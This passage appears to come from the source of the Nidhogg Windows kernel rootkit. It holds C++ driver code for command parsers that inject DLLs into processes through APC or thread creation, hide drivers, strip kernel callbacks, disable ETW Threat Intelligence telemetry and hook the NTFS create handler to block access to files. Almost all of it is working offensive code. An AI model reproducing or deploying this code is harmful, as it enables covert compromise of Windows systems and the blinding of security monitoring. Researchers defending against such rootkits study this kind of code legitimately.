| */ 31 | NTSTATUS BaseParser::ExecuteCommand(USHORT argsNumber, PUCHAR data, size_t dataSize, size_t index, ULONG* outOffset) { 32 | PVOID args[MAX_ARGS] = { 0 }; 33 | Options commandId; 34 | NTSTATUS status = STATUS_SUCCESS; 35 | 36 | status = ParseArgs(data, dataSize, index, argsNumber, &commandId, outOffset, args); 37 | 38 | if (!NT_SUCCESS(status)) 39 | return status; 40 | 41 | __try { 42 | status = Execute(commandId, args); 43 | } 44 | __except (EXCEPTION_EXECUTE_HANDLER) { 45 | status = GetExceptionCode(); 46 | } 47 | 48 | for (USHORT i = 0; i < argsNumber; i++) { 49 | if (args[i]) { 50 | ExFreePoolWithTag(args[i], DRIVER_TAG); 51 | args[i] = nullptr; 52 | } 53 | } 54 | 55 | return status; 56 | } 57 | 58 | /* 59 | * Description: 60 | * ParseArgs is responsible for parsing the arguments. 61 | * 62 | * Parameters: 63 | * @data [PUCHAR] -- The raw script data. 64 | * @dataSize [size_t] -- Size if the raw script data. 65 | * @index [size_t] -- Index to start parsing the args and command from. 66 | * @argsNumber [USHORT] -- Number of arguments to run. 67 | * @commandId [Options*] -- The command id. 68 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command. 69 | * @OutArgs [PVOID*] -- Output arguments. 70 | * 71 | * Returns: 72 | * @status [NTSTATUS] -- Whether the args are parsed or error. 73 | */ 74 | NTSTATUS BaseParser::ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId, 75 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]) { 76 | USHORT optionIndex = 0; 77 | ULONG intArg = 0; 78 | USHORT argIndex = 0; 79 | NTSTATUS status = STATUS_SUCCESS; 80 | 81 | // Validating the opcode size. 82 | if (dataSize < index) 83 | return STATUS_INVALID_BUFFER_SIZE; 84 | 85 | if (data[index] != 1) 86 | return STATUS_INVALID_PARAMETER; 87 | 88 | if (dataSize < index + 1) 89 | return STATUS_INVALID_BUFFER_SIZE; 90 | 91 | // Check the option exists for the command type. 92 | Options option = (Options)data[index + 1]; 93 | status = STATUS_NOT_FOUND; 94 | 95 | for (optionIndex = 0; optionIndex < optionsSize; optionIndex++) { 96 | if (this->options[optionIndex].OptionOpcode == option) { 97 | status = STATUS_SUCCESS; 98 | break; 99 | } 100 | } 101 | 102 | if (!NT_SUCCESS(status)) 103 | return status; 104 | *commandId = option; 105 | 106 | if (this->options[optionIndex].ArgMetadata.ArgsNumber != argsNumber) 107 | return STATUS_INVALID_PARAMETER; 108 | 109 | // opcode size + 1 (opcode). 110 | ULONG addedOffset = 2; 111 | ULONG argSize = 0; 112 | ULONG currentIndex = 0; 113 | 114 | for (argIndex = 0; argIndex < argsNumber; argIndex++) { 115 | currentIndex = (ULONG)index + addedOffset + argIndex; 116 | 117 | if (dataSize < currentIndex) { 118 | status = STATUS_INVALID_BUFFER_SIZE; 119 | break; 120 | } 121 | 122 | argSize = data[currentIndex]; 123 | 124 | // Validating the size. 125 | if (argSize > dataSize - currentIndex) { 126 | status = STATUS_INVALID_BUFFER_SIZE; 127 | break; 128 | } 129 | 130 | OutArgs[argIndex] = AllocateMemory(argSize); 131 | 132 | if (!OutArgs[argIndex]) { 133 | status = STATUS_INSUFFICIENT_RESOURCES; 134 | break; 135 | } 136 | RtlZeroMemory(OutArgs[argIndex], argSize); 137 | 138 | __try { 139 | RtlCopyMemory(OutArgs[argIndex], &data[currentIndex + 1], argSize); 140 | } 141 | __except (EXCEPTION_EXECUTE_HANDLER) { 142 | status = STATUS_ABANDONED; 143 | break; 144 | } 145 | 146 | // Validating the type. 147 | switch (this->options[optionIndex].ArgMetadata.Types[argIndex]) { 148 | case ArgType::ULong: 149 | { 150 | for (DWORD j = 0, factor = pow(10, argSize - 1); j < argSize; j++, factor /= 10) { 151 | if (isdigit(((char*)OutArgs[argIndex])[j]) == 0) { 152 | status = STATUS_INVALID_PARAMETER; 153 | break; 154 | } 155 | intArg += convertDigit(((char*)OutArgs[argIndex])[j]) * factor; 156 | } 157 | *(ULONG*)OutArgs[argIndex] = intArg; 158 | intArg = 0; 159 | break; 160 | } 161 | case ArgType::CharPtr: 162 | case ArgType::WCharPtr: 163 | { 164 | for (DWORD j = 0; j < argSize; j++) { 165 | if (!isChar(((char*)OutArgs[argIndex])[j])) { 166 | status = STATUS_INVALID_PARAMETER; 167 | break; 168 | } 169 | } 170 | break; 171 | } 172 | } 173 | 174 | if (!NT_SUCCESS(status)) 175 | break; 176 | 177 | addedOffset += argSize; 178 | } 179 | 180 | if (!NT_SUCCESS(status)) { 181 | for (USHORT i = 0; i < argIndex; i++) { 182 | if (OutArgs[i]) 183 | ExFreePoolWithTag(OutArgs[i], DRIVER_TAG); 184 | } 185 | } 186 | 187 | *outOffset += addedOffset; 188 | return status; 189 | } -------------------------------------------------------------------------------- /Nidhogg/BaseParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "MemoryAllocator.hpp" 4 | 5 | constexpr SIZE_T MAX_ARGS = 5; 6 | constexpr SIZE_T MAX_TYPES = 6; 7 | 8 | enum class ArgType { 9 | ULong, 10 | CharPtr, 11 | WCharPtr, 12 | VoidPtr, 13 | }; 14 | 15 | enum class ParserOpcode { 16 | Process, 17 | Thread, 18 | Module, 19 | Driver, 20 | File, 21 | Reg, 22 | Patch, 23 | Shinject, 24 | Dllinject, 25 | Callbacks, 26 | Etwti, 27 | Port, 28 | Unknown = 0xFF 29 | }; 30 | 31 | enum class Options { 32 | Add, Remove, 33 | Clear, Hide, 34 | Unhide, Elevate, 35 | Signature, APC, 36 | Thread, 37 | Enable = 0, Disable = 1, 38 | Restore = 0, 39 | Invalid = 0xFF 40 | }; 41 | 42 | typedef struct _ArgMetadata { 43 | USHORT ArgsNumber; 44 | ArgType Types[MAX_TYPES]; 45 | } ArgMetadata; 46 | 47 | struct OptionMetadata { 48 | Options OptionOpcode; 49 | ArgMetadata ArgMetadata; 50 | }; 51 | 52 | class BaseParser 53 | { 54 | protected: 55 | OptionMetadata* options; 56 | ULONG optionsSize; 57 | 58 | constexpr bool isChar(char c) { 59 | return c >= ' ' && c <= '~'; 60 | } 61 | 62 | constexpr USHORT convertDigit(char c) { 63 | return c - '0'; 64 | } 65 | 66 | constexpr ULONG pow(ULONG base, ULONG exp) { 67 | ULONG result = 1; 68 | 69 | for (ULONG i = 0; i < exp; i++) 70 | result *= base; 71 | 72 | return result; 73 | } 74 | 75 | virtual NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]); 76 | 77 | virtual NTSTATUS ParseArgs(PUCHAR data, size_t dataSize, size_t index, USHORT argsNumber, Options* commandId, 78 | ULONG* outOffset, PVOID OutArgs[MAX_ARGS]); 79 | public: 80 | void* operator new(size_t size) { 81 | return AllocateMemory(size, false); 82 | } 83 | 84 | void operator delete(void* p) { 85 | if (p) 86 | ExFreePoolWithTag(p, DRIVER_TAG); 87 | } 88 | 89 | BaseParser() { 90 | options = nullptr; 91 | optionsSize = 0; 92 | } 93 | virtual ~BaseParser(); 94 | 95 | virtual NTSTATUS ExecuteCommand(USHORT argsNumber, PUCHAR data, size_t dataSize, size_t index, ULONG* outOffset); 96 | }; 97 | 98 | -------------------------------------------------------------------------------- /Nidhogg/CallbacksParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "CallbacksParser.h" 3 | #include "AntiAnalysis.hpp" 4 | 5 | CallbacksParser::CallbacksParser() { 6 | this->optionsSize = 2; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Enable, { 2, { ArgType::ULong, ArgType::ULong } } }; 13 | this->options[1] = { Options::Disable, { 2, { ArgType::ULong, ArgType::ULong } } }; 14 | } 15 | 16 | /* 17 | * Description: 18 | * Execute is responsible for executing a command and returning its value. 19 | * 20 | * Parameters: 21 | * @commandId [Options] -- Command to run. 22 | * @args [PVOID*] -- Array of args to send to the command. 23 | * 24 | * Returns: 25 | * @status [NTSTATUS] -- Result of the command. 26 | */ 27 | NTSTATUS CallbacksParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 28 | KernelCallback callback{}; 29 | NTSTATUS status = STATUS_SUCCESS; 30 | 31 | callback.CallbackAddress = *(ULONG*)args[0]; 32 | callback.Type = *(CallbackType*)args[1]; 33 | 34 | if (callback.CallbackAddress == 0 || callback.Type > CmRegistryType) 35 | return STATUS_INVALID_PARAMETER; 36 | 37 | switch (commandId) { 38 | case Options::Enable: 39 | { 40 | callback.Remove = false; 41 | status = NidhoggAntiAnalysis->RestoreCallback(&callback); 42 | break; 43 | } 44 | case Options::Disable: 45 | { 46 | callback.Remove = true; 47 | status = NidhoggAntiAnalysis->RemoveCallback(&callback); 48 | break; 49 | } 50 | default: 51 | { 52 | status = STATUS_NOT_IMPLEMENTED; 53 | break; 54 | } 55 | } 56 | 57 | return status; 58 | } 59 | -------------------------------------------------------------------------------- /Nidhogg/CallbacksParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class CallbacksParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | CallbacksParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/DllInjectionParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "DllInjectionParser.h" 3 | #include "MemoryUtils.hpp" 4 | #include "ProcessUtils.hpp" 5 | 6 | DllInjectionParser::DllInjectionParser() { 7 | this->optionsSize = 2; 8 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 9 | 10 | if (!this->options) 11 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 12 | 13 | this->options[0] = { Options::APC, { 2, { ArgType::ULong, ArgType::CharPtr } } }; 14 | this->options[1] = { Options::Thread, { 2, { ArgType::ULong, ArgType::CharPtr } } }; 15 | } 16 | 17 | /* 18 | * Description: 19 | * Execute is responsible for executing a command and returning its value. 20 | * 21 | * Parameters: 22 | * @commandId [Options] -- Command to run. 23 | * @args [PVOID*] -- Array of args to send to the command. 24 | * 25 | * Returns: 26 | * @status [NTSTATUS] -- Result of the command. 27 | */ 28 | NTSTATUS DllInjectionParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 29 | DllInformation dllInfo{}; 30 | NTSTATUS status = STATUS_SUCCESS; 31 | 32 | dllInfo.Pid = *(ULONG*)args[0]; 33 | 34 | if (!IsValidPid(dllInfo.Pid)) 35 | return STATUS_INVALID_PARAMETER; 36 | 37 | if (strlen((PCHAR)args[1]) > MAX_PATH) 38 | return STATUS_INVALID_BUFFER_SIZE; 39 | 40 | if (strcpy_s(dllInfo.DllPath, (PCHAR)args[1]) != 0) 41 | return STATUS_INVALID_BUFFER_SIZE; 42 | 43 | switch (commandId) { 44 | case Options::APC: 45 | { 46 | dllInfo.Type = APCInjection; 47 | 48 | if (!Features.ApcInjection) { 49 | status = STATUS_UNSUCCESSFUL; 50 | break; 51 | } 52 | 53 | status = NidhoggMemoryUtils->InjectDllAPC(&dllInfo); 54 | break; 55 | } 56 | case Options::Thread: 57 | { 58 | dllInfo.Type = NtCreateThreadExInjection; 59 | 60 | if (!Features.CreateThreadInjection) { 61 | status = STATUS_UNSUCCESSFUL; 62 | break; 63 | } 64 | 65 | status = NidhoggMemoryUtils->InjectDllThread(&dllInfo); 66 | break; 67 | } 68 | default: 69 | { 70 | status = STATUS_NOT_IMPLEMENTED; 71 | break; 72 | } 73 | } 74 | 75 | return status; 76 | } 77 | -------------------------------------------------------------------------------- /Nidhogg/DllInjectionParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class DllInjectionParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | DllInjectionParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/DriverParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "DriverParser.h" 3 | #include "MemoryUtils.hpp" 4 | 5 | DriverParser::DriverParser() { 6 | this->optionsSize = 2; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Hide, { 1, { ArgType::WCharPtr } } }; 13 | this->options[1] = { Options::Unhide, { 1, { ArgType::WCharPtr } } }; 14 | } 15 | 16 | /* 17 | * Description: 18 | * Execute is responsible for executing a command and returning its value. 19 | * 20 | * Parameters: 21 | * @commandId [Options] -- Command to run. 22 | * @args [PVOID*] -- Array of args to send to the command. 23 | * 24 | * Returns: 25 | * @status [NTSTATUS] -- Result of the command. 26 | */ 27 | NTSTATUS DriverParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 28 | UNICODE_STRING wDriverName = { 0 }; 29 | ANSI_STRING aDriverName = { 0 }; 30 | HiddenDriverInformation hiddenDriver{}; 31 | NTSTATUS status = STATUS_SUCCESS; 32 | 33 | // Converting string to unicode. 34 | RtlInitAnsiString(&aDriverName, (PCHAR)args[0]); 35 | status = RtlAnsiStringToUnicodeString(&wDriverName, &aDriverName, TRUE); 36 | 37 | if (!NT_SUCCESS(status)) 38 | return status; 39 | 40 | hiddenDriver.DriverName = wDriverName.Buffer; 41 | 42 | switch (commandId) { 43 | case Options::Hide: 44 | { 45 | hiddenDriver.Hide = true; 46 | 47 | if (NidhoggMemoryUtils->GetHiddenDrivers() == MAX_HIDDEN_DRIVERS) { 48 | status = STATUS_TOO_MANY_CONTEXT_IDS; 49 | break; 50 | } 51 | 52 | status = NidhoggMemoryUtils->HideDriver(&hiddenDriver); 53 | break; 54 | } 55 | case Options::Unhide: 56 | { 57 | hiddenDriver.Hide = false; 58 | 59 | if (NidhoggMemoryUtils->GetHiddenDrivers() == 0) 60 | break; 61 | 62 | status = NidhoggMemoryUtils->UnhideDriver(&hiddenDriver); 63 | break; 64 | } 65 | default: 66 | { 67 | status = STATUS_NOT_IMPLEMENTED; 68 | break; 69 | } 70 | } 71 | 72 | RtlFreeUnicodeString(&wDriverName); 73 | return status; 74 | } 75 | -------------------------------------------------------------------------------- /Nidhogg/DriverParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class DriverParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | DriverParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/EtwTiParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "EtwTiParser.h" 3 | #include "AntiAnalysis.hpp" 4 | 5 | EtwTiParser::EtwTiParser() { 6 | this->optionsSize = 2; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Add, { 0, {} } }; 13 | this->options[1] = { Options::Remove, { 0, {} } }; 14 | } 15 | 16 | /* 17 | * Description: 18 | * Execute is responsible for executing a command and returning its value. 19 | * 20 | * Parameters: 21 | * @commandId [Options] -- Command to run. 22 | * @args [PVOID*] -- Array of args to send to the command. 23 | * 24 | * Returns: 25 | * @status [NTSTATUS] -- Result of the command. 26 | */ 27 | NTSTATUS EtwTiParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 28 | UNREFERENCED_PARAMETER(args); 29 | 30 | NTSTATUS status = STATUS_SUCCESS; 31 | 32 | if (!Features.EtwTiTamper) 33 | return STATUS_UNSUCCESSFUL; 34 | 35 | switch (commandId) { 36 | case Options::Enable: 37 | { 38 | status = NidhoggAntiAnalysis->EnableDisableEtwTI(true); 39 | break; 40 | } 41 | case Options::Remove: 42 | { 43 | status = NidhoggAntiAnalysis->EnableDisableEtwTI(false); 44 | break; 45 | } 46 | default: 47 | { 48 | status = STATUS_NOT_IMPLEMENTED; 49 | break; 50 | } 51 | } 52 | 53 | return status; 54 | } 55 | -------------------------------------------------------------------------------- /Nidhogg/EtwTiParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class EtwTiParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | EtwTiParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/FastMutex.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "FastMutex.h" 3 | 4 | 5 | void FastMutex::Init() { 6 | ExInitializeFastMutex(&_mutex); 7 | } 8 | 9 | void FastMutex::Lock() { 10 | ExAcquireFastMutex(&_mutex); 11 | } 12 | 13 | void FastMutex::Unlock() { 14 | ExReleaseFastMutex(&_mutex); 15 | } -------------------------------------------------------------------------------- /Nidhogg/FastMutex.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | class FastMutex { 4 | public: 5 | void Init(); 6 | 7 | void Lock(); 8 | void Unlock(); 9 | 10 | private: 11 | FAST_MUTEX _mutex; 12 | }; 13 | -------------------------------------------------------------------------------- /Nidhogg/FileParser.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "FileParser.h" 3 | #include "FileUtils.hpp" 4 | 5 | FileParser::FileParser() { 6 | this->optionsSize = 3; 7 | this->options = AllocateMemory(this->optionsSize * sizeof(OptionMetadata)); 8 | 9 | if (!this->options) 10 | ExRaiseStatus(STATUS_INSUFFICIENT_RESOURCES); 11 | 12 | this->options[0] = { Options::Add, { 1, { ArgType::WCharPtr } } }; 13 | this->options[1] = { Options::Remove, { 1, { ArgType::WCharPtr } } }; 14 | this->options[2] = { Options::Clear, {} }; 15 | } 16 | 17 | /* 18 | * Description: 19 | * Execute is responsible for executing a command and returning its value. 20 | * 21 | * Parameters: 22 | * @commandId [Options] -- Command to run. 23 | * @args [PVOID*] -- Array of args to send to the command. 24 | * 25 | * Returns: 26 | * @status [NTSTATUS] -- Result of the command. 27 | */ 28 | NTSTATUS FileParser::Execute(Options commandId, PVOID args[MAX_ARGS]) { 29 | UNICODE_STRING wFileName = { 0 }; 30 | ProtectedFile protectedFile{}; 31 | NTSTATUS status = STATUS_SUCCESS; 32 | 33 | if (args[0]) { 34 | if (strlen((PCHAR)args[0]) > MAX_PATH) 35 | return STATUS_INVALID_BUFFER_SIZE; 36 | 37 | ANSI_STRING aFileName = { 0 }; 38 | 39 | // Converting string to unicode. 40 | RtlInitAnsiString(&aFileName, (PCHAR)args[0]); 41 | status = RtlAnsiStringToUnicodeString(&wFileName, &aFileName, TRUE); 42 | 43 | if (!NT_SUCCESS(status)) 44 | return status; 45 | 46 | protectedFile.FilePath = wFileName.Buffer; 47 | } 48 | 49 | switch (commandId) { 50 | case Options::Add: 51 | { 52 | protectedFile.Protect = true; 53 | 54 | if (NidhoggFileUtils->GetFilesCount() == MAX_FILES) { 55 | status = STATUS_TOO_MANY_CONTEXT_IDS; 56 | break; 57 | } 58 | 59 | if (!NidhoggFileUtils->FindFile(protectedFile.FilePath)) { 60 | if (!NidhoggFileUtils->AddFile(protectedFile.FilePath)) { 61 | status = STATUS_UNSUCCESSFUL; 62 | break; 63 | } 64 | } 65 | break; 66 | } 67 | case Options::Remove: 68 | { 69 | protectedFile.Protect = false; 70 | 71 | if (NidhoggFileUtils->GetFilesCount() == 0) { 72 | status = STATUS_UNSUCCESSFUL; 73 | break; 74 | } 75 | 76 | if (!NidhoggFileUtils->RemoveFile(protectedFile.FilePath)) { 77 | status = STATUS_NOT_FOUND; 78 | break; 79 | } 80 | break; 81 | } 82 | case Options::Clear: 83 | { 84 | NidhoggFileUtils->ClearFilesList(); 85 | break; 86 | } 87 | default: 88 | { 89 | status = STATUS_NOT_IMPLEMENTED; 90 | break; 91 | } 92 | } 93 | 94 | if (protectedFile.FilePath) 95 | RtlFreeUnicodeString(&wFileName); 96 | 97 | return status; 98 | } 99 | -------------------------------------------------------------------------------- /Nidhogg/FileParser.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "pch.h" 3 | #include "BaseParser.h" 4 | 5 | class FileParser : public BaseParser 6 | { 7 | protected: 8 | NTSTATUS Execute(Options commandId, PVOID args[MAX_ARGS]) override; 9 | 10 | public: 11 | FileParser(); 12 | }; 13 | 14 | -------------------------------------------------------------------------------- /Nidhogg/FileUtils.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include "FileUtils.hpp" 3 | #include "MemoryAllocator.hpp" 4 | #include "MemoryHelper.hpp" 5 | 6 | FileUtils::FileUtils() { 7 | this->Files.FilesCount = 0; 8 | this->Files.LastIndex = 0; 9 | 10 | for (int i = 0; i < SUPPORTED_HOOKED_NTFS_CALLBACKS; i++) 11 | this->Callbacks[i].Activated = false; 12 | 13 | memset(&this->Files, 0, sizeof(this->Files)); 14 | this->Lock.Init(); 15 | } 16 | 17 | FileUtils::~FileUtils() { 18 | AutoLock locker(this->Lock); 19 | 20 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) { 21 | if (this->Files.FilesPath[i] != nullptr) { 22 | ExFreePoolWithTag(this->Files.FilesPath[i], DRIVER_TAG); 23 | this->Files.FilesPath[i] = nullptr; 24 | } 25 | } 26 | this->Files.FilesCount = 0; 27 | this->Files.LastIndex = 0; 28 | 29 | // Uninstalling NTFS hooks if there are any. 30 | if (this->Callbacks[0].Activated) 31 | UninstallNtfsHook(IRP_MJ_CREATE); 32 | } 33 | 34 | /* 35 | * Description: 36 | * HookedNtfsIrpCreate is responsible for handling the NTFS IRP_MJ_CREATE. 37 | * 38 | * Parameters: 39 | * @DeviceObject [PDEVICE_OBJECT] -- Unused. 40 | * @Irp [PIRP] -- Received IRP. 41 | * 42 | * Returns: 43 | * @status [NTSTATUS] -- Whether the operation was successful or not. 44 | */ 45 | NTSTATUS HookedNtfsIrpCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) { 46 | auto stack = IoGetCurrentIrpStackLocation(Irp); 47 | UNICODE_STRING fullPath = {0}; 48 | KIRQL prevIrql = 0; 49 | NTSTATUS status = STATUS_SUCCESS; 50 | 51 | do { 52 | // Validating the file object. 53 | if (!stack || !stack->FileObject) 54 | break; 55 | 56 | if (stack->FileObject->FileName.Length == 0 || !stack->FileObject->FileName.Buffer) 57 | break; 58 | 59 | // Validating the address of the file name. 60 | status = ProbeAddress(stack->FileObject->FileName.Buffer, stack->FileObject->FileName.Length, 61 | sizeof(WCHAR*), STATUS_NOT_FOUND); 62 | 63 | if (!NT_SUCCESS(status)) 64 | break; 65 | 66 | // Acquiring the lock to prevent accessing to the file from other drivers. 67 | KeAcquireSpinLock(&stack->FileObject->IrpListLock, &prevIrql); 68 | KeLowerIrql(prevIrql); 69 | 70 | status = CopyUnicodeString(PsGetCurrentProcess(), &stack->FileObject->FileName, PsGetCurrentProcess(), &fullPath, 71 | KernelMode); 72 | 73 | if (!NT_SUCCESS(status) || !fullPath.Buffer) 74 | break; 75 | 76 | KeRaiseIrql(DISPATCH_LEVEL, &prevIrql); 77 | KeReleaseSpinLock(&stack->FileObject->IrpListLock, prevIrql); 78 | 79 | if (NidhoggFileUtils->FindFile(fullPath.Buffer)) { 80 | ExFreePoolWithTag(fullPath.Buffer, DRIVER_TAG); 81 | Irp->IoStatus.Status = STATUS_ACCESS_DENIED; 82 | return STATUS_SUCCESS; 83 | } 84 | } while (false); 85 | 86 | if (fullPath.Buffer) 87 | ExFreePoolWithTag(fullPath.Buffer, DRIVER_TAG); 88 | return ((tNtfsIrpFunction)NidhoggFileUtils->GetNtfsCallback(0).Address)(DeviceObject, Irp); 89 | } 90 | 91 | /* 92 | * Description: 93 | * InstallNtfsHook is responsible for applying NTFS hooks of given IRP. 94 | * 95 | * Parameters: 96 | * @irpMjFunction [int] -- IRP function. 97 | * 98 | * Returns: 99 | * @status [NTSTATUS] -- Whether hooked or not. 100 | */ 101 | NTSTATUS FileUtils::InstallNtfsHook(int irpMjFunction) { 102 | UNICODE_STRING ntfsName; 103 | PDRIVER_OBJECT ntfsDriverObject = nullptr; 104 | NTSTATUS status = STATUS_SUCCESS; 105 | 106 | RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS"); 107 | status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject); 108 | 109 | if (!NT_SUCCESS(status)) 110 | return status; 111 | 112 | switch (irpMjFunction) { 113 | case IRP_MJ_CREATE: { 114 | this->Callbacks[0].Address = (PVOID)InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[IRP_MJ_CREATE], (LONG64)HookedNtfsIrpCreate); 115 | this->Callbacks[0].Activated = true; 116 | break; 117 | } 118 | default: 119 | status = STATUS_NOT_SUPPORTED; 120 | } 121 | 122 | ObDereferenceObject(ntfsDriverObject); 123 | return status; 124 | } 125 | 126 | /* 127 | * Description: 128 | * UninstallNtfsHook is responsible for removing NTFS hooks of given IRP. 129 | * 130 | * Parameters: 131 | * @irpMjFunction [int] -- IRP function. 132 | * 133 | * Returns: 134 | * @status [NTSTATUS] -- Whether removed or not. 135 | */ 136 | NTSTATUS FileUtils::UninstallNtfsHook(int irpMjFunction) { 137 | UNICODE_STRING ntfsName; 138 | PDRIVER_OBJECT ntfsDriverObject = NULL; 139 | NTSTATUS status = STATUS_SUCCESS; 140 | 141 | RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS"); 142 | 143 | status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0, *IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject); 144 | 145 | if (!NT_SUCCESS(status)) 146 | return status; 147 | 148 | switch (irpMjFunction) { 149 | case IRP_MJ_CREATE: { 150 | InterlockedExchange64((LONG64*)&ntfsDriverObject->MajorFunction[irpMjFunction], (LONG64)this->Callbacks[0].Address); 151 | this->Callbacks[0].Address = nullptr; 152 | this->Callbacks[0].Activated = false; 153 | break; 154 | } 155 | default: 156 | status = STATUS_NOT_SUPPORTED; 157 | } 158 | 159 | ObDereferenceObject(ntfsDriverObject); 160 | 161 | return status; 162 | } 163 | 164 | 165 | /* 166 | * Description: 167 | * FindFile is responsible for searching if a file exists in the protected files list. 168 | * 169 | * Parameters: 170 | * @path [WCHAR*] -- File's path. 171 | * 172 | * Returns: 173 | * @status [bool] -- Whether found or not. 174 | */ 175 | bool FileUtils::FindFile(WCHAR* path) { 176 | AutoLock locker(this->Lock); 177 | 178 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) { 179 | if (this->Files.FilesPath[i]) { 180 | 181 | // Checking the file path without the drive letter. 182 | if (wcslen(this->Files.FilesPath[i]) > 3) { 183 | if (_wcsnicmp(&this->Files.FilesPath[i][2], path, wcslen(this->Files.FilesPath[i]) - 2) == 0) 184 | return true; 185 | } 186 | } 187 | } 188 | return false; 189 | } 190 | 191 | /* 192 | * Description: 193 | * AddFile is responsible for adding a file to the protected files list. 194 | * 195 | * Parameters: 196 | * @path [WCHAR*] -- File's path. 197 | * 198 | * Returns: 199 | * @status [bool] -- Whether successfully added or not. 200 | */ 201 | bool FileUtils::AddFile(WCHAR* path) { 202 | AutoLock locker(this->Lock); 203 | 204 | for (ULONG i = 0; i < MAX_FILES; i++) 205 | if (this->Files.FilesPath[i] == nullptr) { 206 | SIZE_T len = (wcslen(path) + 1) * sizeof(WCHAR); 207 | WCHAR* buffer = AllocateMemory(len); 208 | 209 | // Not enough resources. 210 | if (!buffer) { 211 | break; 212 | } 213 | errno_t err = wcscpy_s(buffer, len / sizeof(WCHAR), path); 214 | 215 | if (err != 0) { 216 | ExFreePoolWithTag(buffer, DRIVER_TAG); 217 | break; 218 | } 219 | 220 | if (i > this->Files.LastIndex) 221 | this->Files.LastIndex = i; 222 | 223 | this->Files.FilesPath[i] = buffer; 224 | this->Files.FilesCount++; 225 | 226 | if (!this->Callbacks[0].Activated) { 227 | NTSTATUS status = this->InstallNtfsHook(IRP_MJ_CREATE); 228 | 229 | if (!NT_SUCCESS(status)) { 230 | this->RemoveFile(this->Files.FilesPath[i]); 231 | break; 232 | } 233 | } 234 | return true; 235 | } 236 | return false; 237 | } 238 | 239 | /* 240 | * Description: 241 | * RemoveFile is responsible for removing a file from the protected files list. 242 | * 243 | * Parameters: 244 | * @path [WCHAR*] -- File's path. 245 | * 246 | * Returns: 247 | * @status [bool] -- Whether successfully removed or not. 248 | */ 249 | bool FileUtils::RemoveFile(WCHAR* path) { 250 | ULONG newLastIndex = 0; 251 | AutoLock locker(this->Lock); 252 | 253 | for (ULONG i = 0; i <= this->Files.LastIndex; i++) { 254 | if (this->Files.FilesPath[i] != nullptr) { 255 | if (_wcsicmp(this->Files.FilesPath[i], path) == 0) { 256 | ExFreePoolWithTag(this->Files.FilesPath[i], DRIVER_TAG); 257 | 258 | if (i == this->Files.LastIndex) 259 | this->Files.LastIndex = newLastIndex; 260 | this->Files.FilesPath[i] = nullptr; 261 | this->Files.FilesCount--; 262 | 263 | if (this->GetFilesCount() == 0 && this->Callbacks[0].Activated) { 264 | NTSTATUS status = this->UninstallNtfsHook(IRP_MJ_CREATE); 265 | 266 | if (!NT_SUCCESS(status)) 267 | break; 268 | } 269 | 